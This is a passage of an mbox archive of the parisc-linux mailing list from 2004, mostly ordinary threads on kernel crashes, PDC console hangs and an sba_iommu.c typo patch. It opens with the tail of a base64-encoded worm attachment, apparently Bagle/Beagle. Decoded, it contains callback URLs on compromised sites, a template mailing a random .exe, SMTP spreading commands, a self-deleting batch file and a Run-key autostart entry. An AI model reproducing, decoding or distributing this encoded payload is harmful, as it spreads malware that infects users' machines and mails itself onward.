LmRlLzEucGhwAGh0dHA6Ly92aXB3ZWIucnUvMS5waHAAaHR0cDovL2FudG9sLWNvLnJ1LzEu
cGhwAGh0dHA6Ly93d3cuYmFncy1kb3N0YXZrYS5tYWdzLnJ1LzEucGhwAGh0dHA6Ly93d3cu
NXgxMi5ydS8xLnBocABodHRwOi8vYm9zZS1hdWRpby5uZXQvMS5waHAAaHR0cDovL3d3dy5z
dHRuZ2RhdGEuZGUvMS5waHAAaHR0cDovL3doOS50dS1kcmVzZGVuLmRlLzEucGhwAGh0dHA6
Ly93d3cubWljcm9udWtlLm5ldC8xLnBocABodHRwOi8vd3d3LnN0YWR0aGFnZW4ub3JnLzEu
cGhwAGh0dHA6Ly93d3cuYmVhc3R5LWNhcnMuZGUvMS5waHAAaHR0cDovL3d3dy5wb2xvaGV4
ZS5kZS8xLnBocABodHRwOi8vd3d3LmJpbm84OC5kZS8xLnBocABodHRwOi8vd3d3LmdyZWZy
YXRocGFlbnouZGUvMS5waHAAaHR0cDovL3d3dy5iaGFtaWR5LmRlLzEucGhwAGh0dHA6Ly93
d3cubXlzdGljLXZ3cy5kZS8xLnBocABodHRwOi8vd3d3LmF1dG8taG9iYnktZXNzZW4uZGUv
MS5waHAAaHR0cDovL3d3dy5wb2xvemlja2UuZGUvMS5waHAAaHR0cDovL3d3dy50d3ItbXVz
aWMuZGUvMS5waHAAaHR0cDovL3d3dy5zYy1lcmJlbmRvcmYuZGUvMS5waHAAaHR0cDovL3d3
dy5tb250YW5pYS5kZS8xLnBocABodHRwOi8vd3d3Lm1lZGktbWFydGluLmRlLzEucGhwAGh0
dHA6Ly92dmNnbi5kZS8xLnBocABodHRwOi8vd3d3LmJhbGxvbmZvdG8uY29tLzEucGhwAGh0
dHA6Ly93d3cubWFyZGVyLWdtYmguZGUvMS5waHAAaHR0cDovL3d3dy5kdmQtZmlsbWUuY29t
LzEucGhwAGh0dHA6Ly93d3cuc21lYW5nb2wuY29tLzEucGhwAABEYXRlOiAlcw0KVG86ICVz
DQpTdWJqZWN0OiBIaQ0KRnJvbTogJXMNCk1lc3NhZ2UtSUQ6IDwlcyVzPg0KTUlNRS1WZXJz
aW9uOiAxLjANCkNvbnRlbnQtVHlwZTogbXVsdGlwYXJ0L21peGVkOw0KICAgICAgICBib3Vu
ZGFyeT0iLS0tLS0tLS0lcyINCg0KAC0tLS0tLS0tLS0lcw0KQ29udGVudC1UeXBlOiB0ZXh0
L3BsYWluOyBjaGFyc2V0PSJ1cy1hc2NpaSINCkNvbnRlbnQtVHJhbnNmZXItRW5jb2Rpbmc6
IDdiaXQNCg0KAC0tLS0tLS0tLS0lcw0KQ29udGVudC1UeXBlOiBhcHBsaWNhdGlvbi94LW1z
ZG93bmxvYWQ7IG5hbWU9IlslJVJBTkQlJV0uZXhlIg0KQ29udGVudC1UcmFuc2Zlci1FbmNv
ZGluZzogYmFzZTY0DQpDb250ZW50LURpc3Bvc2l0aW9uOiBhdHRhY2htZW50OyBmaWxlbmFt
ZT0iWyUlUkFORCUlXS5leGUiDQoNCgANCg0KLS0tLS0tLS0tLSVzLS0NCg0KLg0KACBUZXN0
ID0pDQpbJVJBTkQlXVslUkFORCVdDQotLQ0KVGVzdCwgeWVwLg0KOmwNCmRlbCAlMQ0KaWYg
ZXhpc3QgJTEgZ290byBsDQpkZWwgJTAAYS5iYXQAb3BlbgBxAgAAzQ0BAAAAAAAAAAAAAAAA
AAAAAAAAAAAAY2FsYy5leGUAb3BlbgBTT0ZUV0FSRVxXaW5kb3dzOTgAdWlkAFNPRlRXQVJF
XE1pY3Jvc29mdFxXaW5kb3dzXEN1cnJlbnRWZXJzaW9uXFJ1bgBkM2R1cGRhdGUuZXhlAFxi
YmVhZ2xlLmV4ZQBmcnVuAAAAAAAAAAAAAAAAAAAsACAsDQoAPAA+AENDOiAAQkNDOgBUbzog
AEhFTE8gJXMNCgBSU0VUDQoATUFJTCBGUk9NOjwlcz4NCgBSQ1BUIFRPOjwlcz4NCgBEQVRB
DQoAWyVSQU5EJV0AZGRkJywnIGRkIE1NTSB5eXl5IABISDptbTpzcyAAJTAzaSUwMmkADQpc
ACouKgBiZWFnbGVfYmVhZ2xlAFxic3VwbGQAIC11cGQALmV4ZQAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAgADAAAAIAAAgA4AAAA4AACAAAAAAAAAAAAAAAAAAAABAAEAAABQAACA
AAAAAAAAAAAAAAAAAAABAAEAAABoAACAAAAAAAAAAAAAAAAAAAABAAAAAACAAAAAAAAAAAAA
AAAAAAAAAAABAAAAAACQAAAAoJAAAOgCAAAAAAAAAAAAAIiTAAAUAAAAAAAAAAAAAAAoAAAA
IAAAAEAAAAABAAQAAAAAAIACAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAgAAAAICAAIAA
AACAAIAAgIAAAMDAwACAgIAAAAD/AAD/AAAA//8A/wAAAP8A/wD//wAA////ABERERERERER
ERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERER
EREREREREREREREREREREREREQAAAAAAAAAAAAAAAAAAARZkREREREREREREREREREAW5mZm
ZmZmZmZmZmZmZmZAFvZgAGAAYABgAGAAAABmQBbmb3BvcG9wb3Bvd3dwZkAW9m/wb/Bv8G/w
b///8GZAFuZmZmZmZmZmZmZmZmZmQBb2YABgAGAAYABgAGAAZkAW5m9wb3BvcG9wb3BvcGZA
FvZv8G/wb/Bv8G/wb/BmQBbmZmZmZmZmZmZmZmZmZkAW9mAAYABgAGAAYABgAGZAFuZvcG9w
b3BvcG9wb3BmQBb2b/Bv8G/wb/Bv8G/wZkAW5mZmZmZmZmZmZmZmZmZAFvZgd3d3d3d3d2Zm
ZmZmQBbmYP////////dmZmZmZkAW9mB3d3d3d3d3ZmZmZmZAFuZgAAAAAAAAAGZmZmZmQBb+
/v7+/v7+/v7+/v7+/kARZmZmZmZmZmZmZmZmZmZhERERERERERERERERERERERERERERERER
ERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERER
ERERERERERERERERERERERER///////////////////////////AAAABgAAAAIAAAACAAAAA
gAAAAIAAAACAAAAAgAAAAIAAAACAAAAAgAAAAIAAAACAAAAAgAAAAIAAAACAAAAAgAAAAIAA
AACAAAAAgAAAAMAAAAH///////////////////////////////8AAAEAAQAgIBAAAQAEAOgC
AAABAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=

----------263448247311703--



From - Thu Nov 08 21:30:42 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Jools Smyth <jools@oxfordinspire.co.uk>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Stability / Kernel 2.6.1 / HD Freezes
Date: Tue, 20 Jan 2004 19:19:02 +0000
Organization: Oxford Inspire
Lines: 33
Approved: news@gmane.org
Message-ID: <200401201919.02968.jools@oxfordinspire.co.uk>
References: <200401191930.27090.jools@oxfordinspire.co.uk>
	<20040120161858.GC15917@baldric.uwo.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623140 4723 80.91.229.3 (22 Nov 2014 02:25:40 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:25:40 +0000 (UTC)
Cc: PARISC list <parisc-linux@lists.parisc-linux.org>
To: Carlos O'Donell <carlos@baldric.uwo.ca>
Original-X-From: jools@oxfordinspire.co.uk  Tue Jan 20 12:22:56 2004
Return-Path: <jools@oxfordinspire.co.uk>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from hp9000.workshop (oxfordinspire.co.uk [62.3.242.169])
	by dsl2.external.hp.com (Postfix) with ESMTP id 590044879
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 20 Jan 2004 12:22:56 -0700 (MST)
Original-Received: from inspiron.workshop ([192.168.1.8])
	by hp9000.workshop with esmtp (Exim 4.30)
	id 1Aj1Pi-0000rq-15; Tue, 20 Jan 2004 19:19:50 +0000
User-Agent: KMail/1.5.4
In-Reply-To: <20040120161858.GC15917@baldric.uwo.ca>
Content-Disposition: inline
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.3
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Tue, 20 Jan 2004 19:22:56 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:20667

On Tuesday 20 January 2004 4:18 pm, Carlos O'Donell wrote:

> > I own a model 9000/800/A180c. (512 mb ram / 18gb hd)
>
> Have you registered yourself in the hardware database?
> http://hwdb.parisc-linux.org/

yup. Registered a while back. (under a180 not a180c though

> Need more info. What crashes? Can you get a dump? What compiler did you
> use to build the kernel?

if i get any problems on 2.6.x i will be sure to try and get some more 
information. to build the 2.6.1-pa7 kernel i used 

gcc version 3.3.3 20040110 (prerelease) (Debian)

> Post to debian-hppa lists. I'll be happy to help if I can see a clear
> description of the problem.

done. i put a link to the bugs page which contains all the information 
gathered so far (which isnt much)

Best Regards

Jools
-- 
Oxford Inspire
jools@oxfordinspire.co.uk
Tel: 01865 751879
Mob: 07966 577498



From - Thu Nov 08 21:30:42 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Joel Soete" <soete.joel@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] B2k and CONFIG_PDC_CONSOLE pb: followup
Date: Wed, 21 Jan 2004 19:03:05 +0100
Lines: 78
Approved: news@gmane.org
Message-ID: <400CB89F00001978@ocpmta2.freegates.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="ISO-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623140 4725 80.91.229.3 (22 Nov 2014 02:25:40 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:25:40 +0000 (UTC)
To: "PARISC list" <parisc-linux@lists.parisc-linux.org>
Original-X-From: soete.joel@tiscali.be  Wed Jan 21 11:03:09 2004
Return-Path: <soete.joel@tiscali.be>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from cpout2.tiscali.be (cpout2.tiscali.be [62.235.13.194])
	by dsl2.external.hp.com (Postfix) with ESMTP id A194B4854
	for <parisc-linux@lists.parisc-linux.org>;
	Wed, 21 Jan 2004 11:03:08 -0700 (MST)
Original-Received: from [62.235.14.106] (helo=mail.tiscali.be)
	by cpout2.tiscali.be with esmtp (Tiscali) id 1AjMh1-0005cn-00
	for <parisc-linux@lists.parisc-linux.org>;
	Wed, 21 Jan 2004 19:03:07 +0100
Original-Received: from [57.67.177.33] by mail.tiscali.be with HTTP;
	Wed, 21 Jan 2004 19:03:05 +0100
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.3
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Wed, 21 Jan 2004 18:03:09 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:20668

Hi all,

On the my b2k when I add 'CONFIG_PDC_CONSOLE' the system hang just after
"Searching for devices..." leting the led CDROM continuously bright ???

With some printk, I reach to figure out that is at the pdc_suspend_usb()
point where the boot hang. I try to bypass this and so it boot well.

In fact the big difference with a kernel without CONFIG_PDC_CONSOLE is the
early call to pdc_console_init_force() which (before register the pdc_cons
do:
[snip]
        /* If the console is duplex then copy the COUT parameters to CIN.*/
        if (PAGE0->mem_cons.cl_class == CL_DUPLEX)
                memcpy(&PAGE0->mem_kbd, &PAGE0->mem_cons, sizeof(PAGE0->mem_cons));

        /* register the pdc console */
        register_console(&pdc_cons);
}

I also try to bypass this memcpy (and restore pdc_suspend_usb() call) and
it boot also well.

In sumary, on the b2k, this early memcpy() seems to break something in the
later pdc_suspend_usb() call. My problem is the pdc_suspend_usb()
which results finaly in a call to real32_call_asm(): actualy asm code in
which
it's difficult to insert printk to analyse the difference of behaviour ?)

I also already get a toc but didn't give me any relevant info on what happen
:(

Any idea to help me to get more details about this pb?

Thanks in advance,
    Joel

PS:
I added some printk to get some pdc addresses:
static void pdc_console_init_force(void)
{
        if (pdc_console_initialized)
                return;
        ++pdc_console_initialized;

        if (PAGE0->mem_cons.cl_class == CL_DUPLEX) {
                printk(KERN_INFO "pdc_console_init_force() would set a CL_DUP.\n");
                printk(KERN_INFO "PAGE0->mem_cons address: %p.\n", &PAGE0->mem_cons);
                printk(KERN_INFO "PAGE0->mem_kbd address: %p.\n", &PAGE0->mem_kbd);
                printk(KERN_INFO "PAGE0->mem_kbd size: %d.\n", sizeof(PAGE0->mem_cons));
        };
        /* If the console is duplex then copy the COUT parameters to CON.*/
/*
        if (PAGE0->mem_cons.cl_class == CL_DUPLEX)
                memcpy(&PAGE0->mem_kbd, &PAGE0->mem_cons, sizeof(PAGE0->mem_cons));
 */

        /* register the pdc console */
        register_console(&pdc_cons);
}

The 32-bit Kernel has started...
pdc_console_init_force() would set a CL_DUP.
PAGE0->mem_cons address: 100003a0.
PAGE0->mem_kbd address: 10000400.
PAGE0->mem_kbd size: 48.

But that couldn't help more for the moment :(



-------------------------------------------------------------------------
Tiscali ADSL: 12 mois  29,50 /mois! L'Internet rapide, c'est pour tout
le monde.
http://reg.tiscali.be/default.asp?lg=fr




From - Thu Nov 08 21:30:42 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] B2k and CONFIG_PDC_CONSOLE pb: followup
Date: Wed, 21 Jan 2004 22:31:12 -0700
Lines: 45
Approved: news@gmane.org
Message-ID: <20040122053112.GB6468@colo.lackof.org>
References: <400CB89F00001978@ocpmta2.freegates.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416623140 4734 80.91.229.3 (22 Nov 2014 02:25:40 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:25:40 +0000 (UTC)
Cc: PARISC list <parisc-linux@lists.parisc-linux.org>
To: Joel Soete <soete.joel@tiscali.be>
Original-X-From: grundler@lackof.org  Wed Jan 21 22:31:13 2004
Return-Path: <grundler@lackof.org>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from colo.lackof.org (colo.lackof.org [198.49.126.79])
	by dsl2.external.hp.com (Postfix) with ESMTP id C26ED4890
	for <parisc-linux@lists.parisc-linux.org>;
	Wed, 21 Jan 2004 22:31:13 -0700 (MST)
Original-Received: from localhost (localhost [127.0.0.1])
	by colo.lackof.org (Postfix) with ESMTP
	id 2EECF298033; Wed, 21 Jan 2004 22:31:13 -0700 (MST)
Original-Received: from colo.lackof.org ([127.0.0.1])
	by localhost (colo [127.0.0.1]) (amavisd-new, port 10024) with ESMTP
	id 06769-04; Wed, 21 Jan 2004 22:31:12 -0700 (MST)
Original-Received: by colo.lackof.org (Postfix, from userid 27253)
	id 67072298015; Wed, 21 Jan 2004 22:31:12 -0700 (MST)
Content-Disposition: inline
In-Reply-To: <400CB89F00001978@ocpmta2.freegates.net>
User-Agent: Mutt/1.3.28i
X-Home-Page: http://www.parisc-linux.org/
X-Virus-Scanned: by amavisd-new-20030616-p5 (Debian) at lackof.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.3
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Thu, 22 Jan 2004 05:31:14 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:20669

On Wed, Jan 21, 2004 at 07:03:05PM +0100, Joel Soete wrote:
> Hi all,
> 
> On the my b2k when I add 'CONFIG_PDC_CONSOLE' the system hang just after
> "Searching for devices..." leting the led CDROM continuously bright ???
> 
> With some printk, I reach to figure out that is at the pdc_suspend_usb()
> point where the boot hang. I try to bypass this and so it boot well.

yup - that's fixed in 2.6 slightly better.
Look for pdc_io_reset_devices() in drivers/parisc/sba_iommu.c.
You can backport and test that change to 2.4, I'd be happy to apply it.

The problem is if suckyio USB (or any device) is still doing DMA when
we reprogram the IOMMU, it will cause an HPMC. The reason is we
are fundementally changing how DMA works (non-coherent to coherent)
and PDC doesn't reprogram the suckyIo USB accordingly.
C3000 (and related systems) provides a special PDC call to disable USB.
"ccio" (eg C200) systems can have the same problem with LAN boot.

> I also try to bypass this memcpy (and restore pdc_suspend_usb() call) and
> it boot also well.

I think you've just prevented either PDC or Linux from using a PDC device.

> In sumary, on the b2k, this early memcpy() seems to break something in the
> later pdc_suspend_usb() call.

It's the other way around. pdc_suspend_usb() is breaking PDC_CONSOLE.
See email related to linux-2.6 c3000 serial console problems late last year.

AFAIK, the memcpy just enables the PDC to use a serial console.
But pdc_suspend_usb() apperently blows away the whole suckyio chip
and thus PDC can no longer use suckyio serial either. Hrmm..I thought
there was a IO_RESET_AND_CLEAR pdc call in that same chunk of code.

Anyway, Figuring out some additional info could help:
   (a) know which devices might have DMA enabled when the OS gets control
   (b) disable just the DMA
   (c) detect when PDC_CONSOLE wants to use a device whose DMA we've disabled


hth
grant


From - Thu Nov 08 21:30:43 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Joel Soete" <soete.joel@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] B2k and CONFIG_PDC_CONSOLE pb: followup
Date: Thu, 22 Jan 2004 16:18:44 +0100
Lines: 53
Approved: news@gmane.org
Message-ID: <400CB8A10000262E@ocpmta3.freegates.net>
References: <20040122053112.GB6468@colo.lackof.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed;
	boundary="========/400CB8A10000262E/mail.tiscali.be"
X-Trace: ger.gmane.org 1416623141 4743 80.91.229.3 (22 Nov 2014 02:25:41 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:25:41 +0000 (UTC)
Cc: PARISC list <parisc-linux@lists.parisc-linux.org>
To: "Grant Grundler" <grundler@parisc-linux.org>
Original-X-From: soete.joel@tiscali.be  Thu Jan 22 08:18:48 2004
Return-Path: <soete.joel@tiscali.be>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from cpout2.tiscali.be (cpout2.tiscali.be [62.235.13.194])
	by dsl2.external.hp.com (Postfix) with ESMTP id 46D234894
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 22 Jan 2004 08:18:48 -0700 (MST)
Original-Received: from [62.235.14.106] (helo=mail.tiscali.be)
	by cpout2.tiscali.be with esmtp (Tiscali) 
	id 1AjgbV-0000CP-00; Thu, 22 Jan 2004 16:18:45 +0100
Original-Received: from [57.67.177.33] by mail.tiscali.be with HTTP;
	Thu, 22 Jan 2004 16:18:44 +0100
In-Reply-To: <20040122053112.GB6468@colo.lackof.org>
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.3
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Thu, 22 Jan 2004 15:18:48 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:20670


--========/400CB8A10000262E/mail.tiscali.be
Content-Type: text/plain; charset="ISO-8859-1"
Content-Transfer-Encoding: 7bit

> You can backport and test that change to 2.4, I'd be happy to apply it.

Ok Grant,

I on going to prepare some backport but need some more time ;)

btw I found the following typo in 2.6:
=========><=========
--- ./drivers/parisc/sba_iommu.c.orig	2004-01-22 16:55:26.080226072 +0100
+++ ./drivers/parisc/sba_iommu.c	2004-01-22 16:56:28.037807088 +0100
@@ -1058,7 +1058,7 @@
 			printk(KERN_DEBUG " %2d : %08lx/%05x %p/%05x\n",
 				nents,
 				(unsigned long) sg_dma_address(startsg), cnt,
-				sg_virt_address(startsg), startsg->length
+				sg_virt_addr(startsg), startsg->length
 		);
 #else
 		DBG_RUN_SG(" %d : %08lx/%05x %p/%05x\n",
==========><==========

hth,
    Joel


-------------------------------------------------------------------------
Tiscali ADSL: 12 mois  29,50 /mois! L'Internet rapide, c'est pour tout
le monde.
http://reg.tiscali.be/default.asp?lg=fr



--========/400CB8A10000262E/mail.tiscali.be
Content-Type: application/octet-stream
Content-Transfer-Encoding: base64
Content-Disposition: attachment; filename="SBA_IOMMU.diff"

LS0tIC4vZHJpdmVycy9wYXJpc2Mvc2JhX2lvbW11LmMub3JpZwkyMDA0LTAxLTIyIDE2OjU1OjI2
LjA4MDIyNjA3MiArMDEwMAorKysgLi9kcml2ZXJzL3BhcmlzYy9zYmFfaW9tbXUuYwkyMDA0LTAx
LTIyIDE2OjU2OjI4LjAzNzgwNzA4OCArMDEwMApAQCAtMTA1OCw3ICsxMDU4LDcgQEAKIAkJCXBy
aW50ayhLRVJOX0RFQlVHICIgJTJkIDogJTA4bHgvJTA1eCAlcC8lMDV4XG4iLAogCQkJCW5lbnRz
LAogCQkJCSh1bnNpZ25lZCBsb25nKSBzZ19kbWFfYWRkcmVzcyhzdGFydHNnKSwgY250LAotCQkJ
CXNnX3ZpcnRfYWRkcmVzcyhzdGFydHNnKSwgc3RhcnRzZy0+bGVuZ3RoCisJCQkJc2dfdmlydF9h
ZGRyKHN0YXJ0c2cpLCBzdGFydHNnLT5sZW5ndGgKIAkJKTsKICNlbHNlCiAJCURCR19SVU5fU0co
IiAlZCA6ICUwOGx4LyUwNXggJXAvJTA1eFxuIiwK

--========/400CB8A10000262E/mail.tiscali.be--


From - Thu Nov 08 21:30:43 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: stratus@tiscali.fr
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] (no subject)
Date: Thu, 22 Jan 2004 19:23:11 +0100
Lines: 2
Approved: news@gmane.org
Message-ID: <20040122192311.2928a743.stratus@tiscali.fr>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623141 4752 80.91.229.3 (22 Nov 2014 02:25:41 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:25:41 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: stratus@tiscali.fr  Thu Jan 22 11:20:57 2004
Return-Path: <stratus@tiscali.fr>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mwinf0804.wanadoo.fr (smtp8.wanadoo.fr [193.252.22.23])
	by dsl2.external.hp.com (Postfix) with ESMTP id D92B4487E
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 22 Jan 2004 11:20:56 -0700 (MST)
Original-Received: from lynx (ARennes-304-1-13-38.w81-251.abo.wanadoo.fr
	[81.251.188.38])
	by mwinf0804.wanadoo.fr (SMTP Server) with SMTP id E289B1800111
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 22 Jan 2004 19:20:54 +0100 (CET)
X-Mailer: Sylpheed version 0.9.7 (GTK+ 1.2.10; i586-pc-linux-gnu)
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.3
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Thu, 22 Jan 2004 18:20:57 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:20671




From - Thu Nov 08 21:30:43 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Joel Soete" <soete.joel@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] B2k and CONFIG_PDC_CONSOLE pb: followup
Date: Thu, 22 Jan 2004 19:54:16 +0100
Lines: 496
Approved: news@gmane.org
Message-ID: <400CB8A1000028AB@ocpmta3.freegates.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed;
	boundary="========/400CB8A1000028AB/mail.tiscali.be"
X-Trace: ger.gmane.org 1416623141 4759 80.91.229.3 (22 Nov 2014 02:25:41 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:25:41 +0000 (UTC)
Cc: PARISC list <parisc-linux@lists.parisc-linux.org>
To: "Grant Grundler" <grundler@parisc-linux.org>
Original-X-From: soete.joel@tiscali.be  Thu Jan 22 11:54:21 2004
Return-Path: <soete.joel@tiscali.be>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from cpout2.tiscali.be (cpout2.tiscali.be [62.235.13.194])
	by dsl2.external.hp.com (Postfix) with ESMTP id 16F09487E
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 22 Jan 2004 11:54:20 -0700 (MST)
Original-Received: from [62.235.14.106] (helo=mail.tiscali.be)
	by cpout2.tiscali.be with esmtp (Tiscali) 
	id 1Ajjy5-0004YT-00; Thu, 22 Jan 2004 19:54:17 +0100
Original-Received: from [57.67.177.33] by mail.tiscali.be with HTTP;
	Thu, 22 Jan 2004 19:54:16 +0100
